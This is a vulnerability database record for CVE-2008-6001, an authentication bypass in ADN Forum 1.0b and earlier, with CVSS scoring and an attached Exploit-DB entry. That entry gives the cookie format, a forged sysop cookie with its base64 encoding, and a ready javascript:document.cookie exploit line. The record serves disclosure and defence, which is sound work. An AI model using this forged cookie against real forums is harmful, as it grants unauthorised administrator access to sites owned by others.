{"id": "CVE-2008-6001", "bulletinFamily": "NVD", "title": "CVE-2008-6001", "description": "index.php in ADN Forum 1.0b and earlier allows remote attackers to bypass authentication and gain sysop access via a fpusuario cookie composed of an initial sysop: string, an arbitrary password field, and a final :sysop:0 string.", "published": "2009-01-28T15:30:00", "modified": "2017-09-29T01:32:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-6001", "reporter": "cve@mitre.org", "references": ["http://secunia.com/advisories/18300", "https://www.exploit-db.com/exploits/6557", "https://exchange.xforce.ibmcloud.com/vulnerabilities/45400", "http://www.securityfocus.com/bid/31383"], "cvelist": ["CVE-2008-6001"], "type": "cve", "lastseen": "2020-12-09T19:28:27", "edition": 5, "viewCount": 4, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:6557"]}], "modified": "2020-12-09T19:28:27", "rev": 2}, "score": {"value": 7.3, "vector": "NONE", "modified": "2020-12-09T19:28:27", "rev": 2}, "vulnersScore": 7.3}, "cpe": ["cpe:/a:adnforum:adnforum:1.0b"], "affectedSoftware": [{"cpeName": "adnforum:adnforum", "name": "adnforum", "operator": "le", "version": "1.0b"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:a:adnforum:adnforum:1.0b:*:*:*:*:*:*:*"], "cwe": ["CWE-264"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:adnforum:adnforum:1.0b:*:*:*:*:*:*:*", "versionEndIncluding": "1.0b", "vulnerable": true}], "operator": "OR"}]}}

{"exploitdb": [{"lastseen": "2016-02-01T00:07:08", "description": "ADN Forum <= 1.0b Insecure Cookie Handling Vulnerability. CVE-2008-6001. Webapps exploit for php platform", "published": "2008-09-24T00:00:00", "type": "exploitdb", "title": "ADN Forum <= 1.0b Insecure Cookie Handling Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2008-6001"], "modified": "2008-09-24T00:00:00", "id": "EDB-ID:6557", "href": "https://www.exploit-db.com/exploits/6557/", "sourceData": "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nadnforum <= 1.0b / Insecure Cookie Handling Vulnerability \n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n$ Program: adnforum\n$ Version: <= 1.0b\n$ File affected: index.php\n$ Download: http://sourceforge.net/projects/adnforum/\n\n\nFound by Pepelux <pepelux[at]enye-sec.org>\neNYe-Sec - www.enye-sec.org\n\n\nCookie is base64 based and the ascii format used is:\nuser:23ed4e45887ad4311ff654bd4aab6540:user:0\nuser:md5 pass:user:0\n\nProgrammer forgot to check the pass and only use the nick to autenticate\nthe user.\n\nYou can create a fake cookie likes this:\nsysop:000000000000000000000000000000:sysop:0\n\nIn base64: c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA\n\nExploit:\njavascript:document.cookie = \"fpusuario=c3lzb3A6MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOnN5c29wOjA\"\n\n# milw0rm.com [2008-09-24]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/6557/"}]}